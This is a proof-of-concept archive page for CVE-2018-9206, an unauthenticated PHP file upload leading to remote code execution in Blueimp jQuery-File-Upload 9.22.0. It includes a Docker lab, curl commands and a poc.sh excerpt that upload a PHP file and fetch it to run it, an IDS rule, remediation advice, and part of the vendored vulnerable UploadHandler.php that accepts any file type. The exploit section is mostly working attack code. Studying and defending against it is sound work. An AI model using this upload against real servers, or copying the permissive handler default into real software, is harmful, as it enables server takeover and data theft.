PoC Archive PoC Archive
CVE-2018-9206 category: web CVSS 9.8 (CRITICAL) EPSS 97%
Patched

Blueimp jQuery-File-Upload Unauthenticated Arbitrary File Upload RCE (CVE-2018-9206)

Published: 2026-11-27 • Researcher: flame-11 (repository and lab author); original disclosure by the Vapid Labs advisory and Exploit-DB 45790

Target software Blueimp jQuery-File-Upload, server-side PHP handler (UploadHandler.php)
Affected versions jQuery-File-Upload through 9.22.0 (NVD CPE range EndIncluding 9.22.0). The lab pins package.json to 9.22.0
Status Weaponized
Severity Critical · CVSS 9.8
CVSS 9.8/10

Exploitation signals

EPSS 97%

EPSS 96.8% · 100th percentile

Severity
Critical
CVE
CVE-2018-9206
Category
web
Affected product
Blueimp jQuery-File-Upload, server-side PHP handler (UploadHandler.php)
Affected versions
jQuery-File-Upload through 9.22.0 (NVD CPE range EndIncluding 9.22.0). The lab pins package.json to 9.22.0
Disclosed
2026-11-27
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-27
Last Updated2025-12-27
Author / Researcherflame-11 (repository and lab author); original disclosure by the Vapid Labs advisory and Exploit-DB 45790
CVE / AdvisoryCVE-2018-9206
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSSv3.0, NVD); EPSS 0.968
StatusWeaponized
Tagsunrestricted-file-upload, jQuery-File-Upload, blueimp, PHP, webshell, unauthenticated, RCE, CWE-434, Docker
RelatedN/A

Affected Target

FieldValue
Software / SystemBlueimp jQuery-File-Upload, server-side PHP handler (UploadHandler.php)
Versions AffectedjQuery-File-Upload through 9.22.0 (NVD CPE range EndIncluding 9.22.0). The lab pins package.json to 9.22.0
Language / PlatformPHP server handler served by Apache mod_php (php:7.2-apache container); JavaScript client; Linux
Authentication RequiredNo
Network Access RequiredYes (HTTP to the web server hosting the upload endpoint)

Summary

Blueimp jQuery-File-Upload 9.22.0 ships a PHP upload handler that accepts any file extension by default and stores uploaded files under the web document root. An unauthenticated attacker can POST a PHP script to the handler and then request the stored file, which the web server executes as its own user. The repository packages the vulnerable handler in a PHP 7.2 Apache container together with a shell PoC that uploads a marker script and confirms code execution.

Vulnerability Details

Root Cause

The handler defines its extension whitelist as accept_file_types with the pattern /.+$/i, which matches every file name, and the bundled index.php instantiates UploadHandler without overriding that option. Uploads are written to upload_dir, computed as the directory of the calling script plus /files/, so the file lands directly under the document root at /jQuery-File-Upload/server/php/files/. The old defence of denying script execution with an .htaccess file inside the upload directory is not present in the 9.22.0 PHP handler; only a commented hint about copying one remains near the thumbnail options. The lab container additionally sets AllowOverride None on Apache, which reflects the common Apache 2.3.9+ default and the usual nginx deployment, so no directory-level rule stops PHP files in the upload folder from running. Validation only checks the extension with the permissive pattern and never inspects the file content, so an uploaded .php file is served and interpreted by mod_php.

Attack Vector

An unauthenticated multipart POST to /jQuery-File-Upload/server/php/index.php with a files[] part whose filename ends in .php. The handler replies with a JSON description that includes the stored name, and the attacker then issues a GET for /jQuery-File-Upload/server/php/files/.php. No session, token or referer check is involved.

Impact

Remote code execution as the web server user (www-data in the lab) on the host running the upload handler. From there an attacker can read application source and configuration, reach database credentials, upload further tooling, pivot to internal services, and persist by writing additional scripts into the same directory. Integrity and confidentiality of the hosted application are fully lost.

Environment / Lab Setup

Output
OS:          Linux host with Docker and Docker Compose
Target:      php:7.2-apache container built from this folder, http://TARGET:8888/jQuery-File-Upload/
Attacker:    Linux or macOS with curl, or any HTTP client
Tools:       curl, bash, docker compose

Setup Steps

Shell script
1
2
3
docker compose up -d --build

curl -s -o /dev/null -w '%{http_code}\n' http://localhost:8888/jQuery-File-Upload/

The Dockerfile copies the app into /var/www/html/jQuery-File-Upload, creates server/php/files with mode 777, and exposes port 80, which compose publishes on 8888. Tear down with docker compose down -v.

Proof of Concept

Step-by-Step Reproduction

  1. Start the lab — Run docker compose up -d –build and wait for the container to serve the upload UI on port 8888.

  2. Upload a PHP payload — Post a file named poc.php whose content echoes a marker.

    Shell script
    1
    2
    
    curl -s -X POST "http://localhost:8888/jQuery-File-Upload/server/php/index.php" \
      -F 'files[]=@/dev/stdin;filename=poc.php' <<< '<?php echo "CVE-2018-9206-PWNED"; ?>'
  3. Trigger execution — Request the stored file so Apache runs it through mod_php.

    Shell script
    1
    
    curl "http://localhost:8888/jQuery-File-Upload/server/php/files/poc.php"
  4. Or run the bundled script — poc.sh derives a timestamped filename, uploads it, checks that the response mentions the stored name, fetches it, and compares the body to the marker.

    Shell script
    1
    
    ./poc.sh http://localhost:8888

Exploit Code

See poc.sh in this folder; the vulnerable handler is UploadHandler.php and the entry point is index.php.

Shell script
1
2
3
4
5
6
7
RESPONSE=$(curl -s -X POST "$TARGET/jQuery-File-Upload/server/php/index.php" \
  -F "files[]=@/dev/stdin;filename=$FILENAME" <<< "<?php echo '$MARKER'; ?>")

if echo "$RESPONSE" | grep -q "$FILENAME"; then
  RESULT=$(curl -s "$TARGET/jQuery-File-Upload/server/php/files/$FILENAME")
  [ "$RESULT" = "$MARKER" ] && echo "[+] RCE confirmed: $RESULT"
fi

Expected Output

Output
[*] Target: http://localhost:8888
[*] Uploading PHP file...
[+] Upload successful
[*] Executing uploaded file...
[+] RCE confirmed: CVE-2018-9206-1764256800

A successful upload also returns a JSON array from the handler containing the stored name, size and url for files/poc.php. Requesting that URL returns the marker text rather than the PHP source, which is the proof of execution.

Detection & Indicators of Compromise

Output
POST /jQuery-File-Upload/server/php/index.php HTTP/1.1
Content-Type: multipart/form-data; boundary=...
Content-Disposition: form-data; name="files[]"; filename="poc.php"

GET /jQuery-File-Upload/server/php/files/poc.php HTTP/1.1

SIEM / IDS Rule (example):

Output
alert http any any -> any any (msg:"CVE-2018-9206 jQuery-File-Upload PHP upload"; flow:to_server,established; content:"POST"; http_method; content:"/server/php/index.php"; http_uri; content:"filename="; http_client_body; pcre:"/filename\s*=\s*[^;]*\.(php\d?|phtml|phar)/i"; reference:cve,2018-9206; sid:9000920;)

Remediation

ActionDetail
PatchUpgrade jQuery-File-Upload past 9.22.0 (9.22.1 or later) and re-check the handler defaults, or replace the PHP sample handler with application code that enforces its own extension and content checks.
WorkaroundSet accept_file_types to an explicit image/document whitelist such as /.(gif
Config HardeningStore uploads outside the document root and serve them through a controller, run the web user with least privilege, disable PHP execution in writable directories, and monitor the upload folder for new script files.

References

Notes

Auto-prepared on 2026-11-27 from https://github.com/flame-11/CVE-2018-9206-jquery-file-upload (stars 1, latest commit dated 2025-12-27).

Review verdict: ingested. The repository is a purpose-built vulnerable lab, not a scanner: it vendors the real 9.22.0 PHP handler, exposes it through a Dockerfile and compose file, and its poc.sh uploads an actual PHP payload and verifies execution against the returned body. The handler source is included because it is the vulnerable component the PoC exercises.

License: the repository carries no LICENSE file. The vendored jQuery-File-Upload code is MIT licensed by Sebastian Tschan, and the handler header retains that notice; attribution and the source URL are preserved here, and the copied scripts carry an archive header.

Limitations: the lab depends on PHP being executed in the upload directory. The Dockerfile sets AllowOverride None and the shipped handler has no .htaccess of its own, so a target that denies script execution in server/php/files, or stores uploads outside the document root, is not exploitable in this way. The PoC only echoes a fixed marker; it does not include a shell, and no command execution beyond PHP interpretation is performed. The exploit was not run while preparing this entry. The 232 KB clone contained no binaries or archives, so no files were dropped for size or type reasons.

UploadHandler.php
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
<?php
/*
 * jQuery File Upload Plugin PHP Class
 * https://github.com/blueimp/jQuery-File-Upload
 *
 * Copyright 2010, Sebastian Tschan
 * https://blueimp.net
 *
 * Licensed under the MIT license:
 * https://opensource.org/licenses/MIT
 */

class UploadHandler
{

    protected $options;

    // PHP File Upload error message codes:
    // http://php.net/manual/en/features.file-upload.errors.php
    protected $error_messages = array(
        1 => 'The uploaded file exceeds the upload_max_filesize directive in php.ini',
        2 => 'The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form',
        3 => 'The uploaded file was only partially uploaded',
        4 => 'No file was uploaded',
        6 => 'Missing a temporary folder',
        7 => 'Failed to write file to disk',
        8 => 'A PHP extension stopped the file upload',
        'post_max_size' => 'The uploaded file exceeds the post_max_size directive in php.ini',
        'max_file_size' => 'File is too big',
        'min_file_size' => 'File is too small',
        'accept_file_types' => 'Filetype not allowed',
        'max_number_of_files' => 'Maximum number of files exceeded',
        'max_width' => 'Image exceeds maximum width',
        'min_width' => 'Image requires a minimum width',
        'max_height' => 'Image exceeds maximum height',
        'min_height' => 'Image requires a minimum height',
        'abort' => 'File upload aborted',
        'image_resize' => 'Failed to resize image'
    );

    protected $image_objects = array();

    public function __construct($options = null, $initialize = true, $error_messages = null) {
        $this->response = array();
        $this->options = array(
            'script_url' => $this->get_full_url().'/'.$this->basename($this->get_server_var('SCRIPT_NAME')),
            'upload_dir' => dirname($this->get_server_var('SCRIPT_FILENAME')).'/files/',
            'upload_url' => $this->get_full_url().'/files/',
            'input_stream' => 'php://input',
            'user_dirs' => false,
            'mkdir_mode' => 0755,
            'param_name' => 'files',
            // Set the following option to 'POST', if your server does not support
            // DELETE requests. This is a parameter sent to the client:
            'delete_type' => 'DELETE',
            'access_control_allow_origin' => '*',
            'access_control_allow_credentials' => false,
            'access_control_allow_methods' => array(
                'OPTIONS',
                'HEAD',
                'GET',
                'POST',
                'PUT',
                'PATCH',
                'DELETE'
            ),
            'access_control_allow_headers' => array(
                'Content-Type',
                'Content-Range',
                'Content-Disposition'
            ),
            // By default, allow redirects to the referer protocol+host:
            'redirect_allow_target' => '/^'.preg_quote(
              parse_url($this->get_server_var('HTTP_REFERER'), PHP_URL_SCHEME)
                .'://'
                .parse_url($this->get_server_var('HTTP_REFERER'), PHP_URL_HOST)
                .'/', // Trailing slash to not match subdomains by mistake
              '/' // preg_quote delimiter param
            ).'/',
            // Enable to provide file downloads via GET requests to the PHP script:
            //     1. Set to 1 to download files via readfile method through PHP
            //     2. Set to 2 to send a X-Sendfile header for lighttpd/Apache
            //     3. Set to 3 to send a X-Accel-Redirect header for nginx
            // If set to 2 or 3, adjust the upload_url option to the base path of
            // the redirect parameter, e.g. '/files/'.
            'download_via_php' => false,
            // Read files in chunks to avoid memory limits when download_via_php
            // is enabled, set to 0 to disable chunked reading of files:
            'readfile_chunk_size' => 10 * 1024 * 1024, // 10 MiB
            // Defines which files can be displayed inline when downloaded:
            'inline_file_types' => '/\.(gif|jpe?g|png)$/i',
            // Defines which files (based on their names) are accepted for upload:
            'accept_file_types' => '/.+$/i',
            // The php.ini settings upload_max_filesize and post_max_size
            // take precedence over the following max_file_size setting:
            'max_file_size' => null,
            'min_file_size' => 1,
            // The maximum number of files for the upload directory:
            'max_number_of_files' => null,
            // Defines which files are handled as image files:
            'image_file_types' => '/\.(gif|jpe?g|png)$/i',
            // Use exif_imagetype on all files to correct file extensions:
            'correct_image_extensions' => false,
            // Image resolution restrictions:
            'max_width' => null,
            'max_height' => null,
            'min_width' => 1,
            'min_height' => 1,
            // Set the following option to false to enable resumable uploads:
            'discard_aborted_uploads' => true,
            // Set to 0 to use the GD library to scale and orient images,
            // set to 1 to use imagick (if installed, falls back to GD),
            // set to 2 to use the ImageMagick convert binary directly:
            'image_library' => 1,
            // Uncomment the following to define an array of resource limits
            // for imagick:
            /*
            'imagick_resource_limits' => array(
                imagick::RESOURCETYPE_MAP => 32,
                imagick::RESOURCETYPE_MEMORY => 32
            ),
            */
            // Command or path for to the ImageMagick convert binary:
            'convert_bin' => 'convert',
            // Uncomment the following to add parameters in front of each
            // ImageMagick convert call (the limit constraints seem only
            // to have an effect if put in front):
            /*
            'convert_params' => '-limit memory 32MiB -limit map 32MiB',
            */
            // Command or path for to the ImageMagick identify binary:
            'identify_bin' => 'identify',
            'image_versions' => array(
                // The empty image version key defines options for the original image.
                // Keep in mind: these image manipulations are inherited by all other image versions from this point onwards. 
                // Also note that the property 'no_cache' is not inherited, since it's not a manipulation.
                '' => array(
                    // Automatically rotate images based on EXIF meta data:
                    'auto_orient' => true
                ),
                // You can add arrays to generate different versions.
                // The name of the key is the name of the version (example: 'medium'). 
                // the array contains the options to apply.
                /*
                'medium' => array(
                    'max_width' => 800,
                    'max_height' => 600
                ),
		*/
                'thumbnail' => array(
                    // Uncomment the following to use a defined directory for the thumbnails
                    // instead of a subdirectory based on the version identifier.
                    // Make sure that this directory doesn't allow execution of files if you
                    // don't pose any restrictions on the type of uploaded files, e.g. by
                    // copying the .htaccess file from the files directory for Apache:
                    //'upload_dir' => dirname($this->get_server_var('SCRIPT_FILENAME')).'/thumb/',
                    //'upload_url' => $this->get_full_url().'/thumb/',
                    // Uncomment the following to force the max
                    // dimensions and e.g. create square thumbnails:
                    // 'auto_orient' => true,
                    // 'crop' => true,
                    // 'jpeg_quality' => 70,
                    // 'no_cache' => true, (there's a caching option, but this remembers thumbnail sizes from a previous action!)
                    // 'strip' => true, (this strips EXIF tags, such as geolocation)
                    'max_width' => 80, // either specify width, or set to 0. Then width is automatically adjusted - keeping aspect ratio to a specified max_height.
                    'max_height' => 80 // either specify height, or set to 0. Then height is automatically adjusted - keeping aspect ratio to a specified max_width.
                )
            ),
            'print_response' => true
        );
        if ($options) {
            $this->options = $options + $this->options;
        }
        if ($error_messages) {
            $this->error_messages = $error_messages + $this->error_messages;
        }
        if ($initialize) {
            $this->initialize();
        }
    }

    protected function initialize() {
        switch ($this->get_server_var('REQUEST_METHOD')) {
            case 'OPTIONS':
            case 'HEAD':
                $this->head();
                break;
            case 'GET':
                $this->get($this->options['print_response']);
                break;
            case 'PATCH':
            case 'PUT':
            case 'POST':
                $this->post($this->options['print_response']);
                break;
            case 'DELETE':
                $this->delete($this->options['print_response']);
                break;
            default:
                $this->header('HTTP/1.1 405 Method Not Allowed');
        }
    }

    protected function get_full_url() {
        $https = !empty($_SERVER['HTTPS']) && strcasecmp($_SERVER['HTTPS'], 'on') === 0 ||
            !empty($_SERVER['HTTP_X_FORWARDED_PROTO']) &&
                strcasecmp($_SERVER['HTTP_X_FORWARDED_PROTO'], 'https') === 0;
        return
            ($https ? 'https://' : 'http://').
            (!empty($_SERVER['REMOTE_USER']) ? $_SERVER['REMOTE_USER'].'@' : '').
            (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : ($_SERVER['SERVER_NAME'].
            ($https && $_SERVER['SERVER_PORT'] === 443 ||
            $_SERVER['SERVER_PORT'] === 80 ? '' : ':'.$_SERVER['SERVER_PORT']))).
            substr($_SERVER['SCRIPT_NAME'],0, strrpos($_SERVER['SCRIPT_NAME'], '/'));
    }

    protected function get_user_id() {
        @session_start();
        return session_id();
    }

    protected function get_user_path() {
        if ($this->options['user_dirs']) {
            return $this->get_user_id().'/';
        }
        return '';
    }

    protected function get_upload_path($file_name = null, $version = null) {
        $file_name = $file_name ? $file_name : '';
        if (empty($version)) {
            $version_path = '';
        } else {
            $version_dir = @$this->options['image_versions'][$version]['upload_dir'];
            if ($version_dir) {
                return $version_dir.$this->get_user_path().$file_name;
            }
            $version_path = $version.'/';
        }
        return $this->options['upload_dir'].$this->get_user_path()
            .$version_path.$file_name;
    }

    protected function get_query_separator($url) {
        return strpos($url, '?') === false ? '?' : '&';
    }

    protected function get_download_url($file_name, $version = null, $direct = false) {
        if (!$direct && $this->options['download_via_php']) {
            $url = $this->options['script_url']
                .$this->get_query_separator($this->options['script_url'])
                .$this->get_singular_param_name()
                .'='.rawurlencode($file_name);
            if ($version) {
                $url .= '&version='.rawurlencode($version);
            }
            return $url.'&download=1';
        }
        if (empty($version)) {
            $version_path = '';
        } else {
            $version_url = @$this->options['image_versions'][$version]['upload_url'];
            if ($version_url) {
                return $version_url.$this->get_user_path().rawurlencode($file_name);
            }
            $version_path = rawurlencode($version).'/';
        }
        return $this->options['upload_url'].$this->get_user_path()
            .$version_path.rawurlencode($file_name);
    }

    protected function set_additional_file_properties($file) {
        $file->deleteUrl = $this->options['script_url']
            .$this->get_query_separator($this->options['script_url'])
            .$this->get_singular_param_name()
            .'='.rawurlencode($file->name);
        $file->deleteType = $this->options['delete_type'];
        if ($file->deleteType !== 'DELETE') {
            $file->deleteUrl .= '&_method=DELETE';
        }
        if ($this->options['access_control_allow_credentials']) {
            $file->deleteWithCredentials = true;
        }
    }

    // Fix for overflowing signed 32 bit integers,
    // works for sizes up to 2^32-1 bytes (4 GiB - 1):
    protected function fix_integer_overflow($size) {
        if ($size < 0) {
            $size += 2.0 * (PHP_INT_MAX + 1);
        }
        return $size;
    }

    protected function get_file_size($file_path, $clear_stat_cache = false) {
        if ($clear_stat_cache) {
            if (version_compare(PHP_VERSION, '5.3.0') >= 0) {
                clearstatcache(true, $file_path);
            } else {
                clearstatcache();
            }
        }
        return $this->fix_integer_overflow(filesize($file_path));
    }

    protected function is_valid_file_object($file_name) {
        $file_path = $this->get_upload_path($file_name);
        if (is_file($file_path) && $file_name[0] !== '.') {
            return true;
        }
        return false;
    }

    protected function get_file_object($file_name) {
        if ($this->is_valid_file_object($file_name)) {
            $file = new \stdClass();
            $file->name = $file_name;
            $file->size = $this->get_file_size(
                $this->get_upload_path($file_name)
            );
            $file->url = $this->get_download_url($file->name);
            foreach ($this->options['image_versions'] as $version => $options) {
                if (!empty($version)) {
                    if (is_file($this->get_upload_path($file_name, $version))) {
                        $file->{$version.'Url'} = $this->get_download_url(
                            $file->name,
                            $version
                        );
                    }
                }
            }
            $this->set_additional_file_properties($file);
            return $file;
        }
        return null;
    }

    protected function get_file_objects($iteration_method = 'get_file_object') {
        $upload_dir = $this->get_upload_path();
        if (!is_dir($upload_dir)) {
            return array();
        }
        return array_values(array_filter(array_map(
            array($this, $iteration_method),
            scandir($upload_dir)
        )));
    }

    protected function count_file_objects() {
        return count($this->get_file_objects('is_valid_file_object'));
    }

    protected function get_error_message($error) {
        return isset($this->error_messages[$error]) ?
            $this->error_messages[$error] : $error;
    }

    public function get_config_bytes($val) {
        $val = trim($val);
        $last = strtolower($val[strlen($val)-1]);
        $val = (int)$val;
        switch ($last) {
            case 'g':
                $val *= 1024;
            case 'm':
                $val *= 1024;
            case 'k':
                $val *= 1024;
        }
        return $this->fix_integer_overflow($val);
    }

    protected function validate($uploaded_file, $file, $error, $index) {
        if ($error) {
            $file->error = $this->get_error_message($error);
            return false;
        }
        $content_length = $this->fix_integer_overflow(
            (int)$this->get_server_var('CONTENT_LENGTH')
        );
        $post_max_size = $this->get_config_bytes(ini_get('post_max_size'));
        if ($post_max_size && ($content_length > $post_max_size)) {
            $file->error = $this->get_error_message('post_max_size');
            return false;
        }
        if (!preg_match($this->options['accept_file_types'], $file->name)) {
            $file->error = $this->get_error_message('accept_file_types');
            return false;
        }
        if ($uploaded_file && is_uploaded_file($uploaded_file)) {
            $file_size = $this->get_file_size($uploaded_file);
        } else {
            $file_size = $content_length;
        }
        if ($this->options['max_file_size'] && (
                $file_size > $this->options['max_file_size'] ||
                $file->size > $this->options['max_file_size'])
            ) {
            $file->error = $this->get_error_message('max_file_size');
            return false;
        }
        if ($this->options['min_file_size'] &&
            $file_size < $this->options['min_file_size']) {
            $file->error = $this->get_error_message('min_file_size');
            return false;
        }
        if (is_int($this->options['max_number_of_files']) &&
                ($this->count_file_objects() >= $this->options['max_number_of_files']) &&
                // Ignore additional chunks of existing files:
                !is_file($this->get_upload_path($file->name))) {
            $file->error = $this->get_error_message('max_number_of_files');
            return false;
        }
        $max_width = @$this->options['max_width'];
        $max_height = @$this->options['max_height'];
        $min_width = @$this->options['min_width'];
        $min_height = @$this->options['min_height'];
        if (($max_width || $max_height || $min_width || $min_height)
           && preg_match($this->options['image_file_types'], $file->name)) {
            list($img_width, $img_height) = $this->get_image_size($uploaded_file);

            // If we are auto rotating the image by default, do the checks on
            // the correct orientation
            if (
                @$this->options['image_versions']['']['auto_orient'] &&
                function_exists('exif_read_data') &&
                ($exif = @exif_read_data($uploaded_file)) &&
                (((int) @$exif['Orientation']) >= 5)
            ) {
                $tmp = $img_width;
                $img_width = $img_height;
                $img_height = $tmp;
                unset($tmp);
            }

        }
        if (!empty($img_width)) {
            if ($max_width && $img_width > $max_width) {
                $file->error = $this->get_error_message('max_width');
                return false;
            }
            if ($max_height && $img_height > $max_height) {
                $file->error = $this->get_error_message('max_height');
                return false;
            }
            if ($min_width && $img_width < $min_width) {
                $file->error = $this->get_error_message('min_width');
                return false;
            }
            if ($min_height && $img_height < $min_height) {
                $file->error = $this->get_error_message('min_height');
                return false;
            }
        }
        return true;
    }

    protected function upcount_name_callback($matches) {
        $index = isset($matches[1]) ? ((int)$matches[1]) + 1 : 1;
        $ext = isset($matches[2]) ? $matches[2] : '';
        return ' ('.$index.')'.$ext;
    }

    protected function upcount_name($name) {
        return preg_replace_callback(
            '/(?:(?: \(([\d]+)\))?(\.[^.]+))?$/',
            array($this, 'upcount_name_callback'),
            $name,
            1
        );
    }

    protected function get_unique_filename($file_path, $name, $size, $type, $error,
            $index, $content_range) {
        while(is_dir($this->get_upload_path($name))) {
            $name = $this->upcount_name($name);
        }
        // Keep an existing filename if this is part of a chunked upload:
        $uploaded_bytes = $this->fix_integer_overflow((int)$content_range[1]);
        while (is_file($this->get_upload_path($name))) {
            if ($uploaded_bytes === $this->get_file_size(
                    $this->get_upload_path($name))) {
                break;
            }
            $name = $this->upcount_name($name);
        }
        return $name;
    }

    protected function fix_file_extension($file_path, $name, $size, $type, $error,
            $index, $content_range) {
        // Add missing file extension for known image types:
        if (strpos($name, '.') === false &&
                preg_match('/^image\/(gif|jpe?g|png)/', $type, $matches)) {
            $name .= '.'.$matches[1];
        }
        if ($this->options['correct_image_extensions'] &&
                function_exists('exif_imagetype')) {
            switch (@exif_imagetype($file_path)){
                case IMAGETYPE_JPEG:
Showing 500 of 1412 lines View full file on GitHub →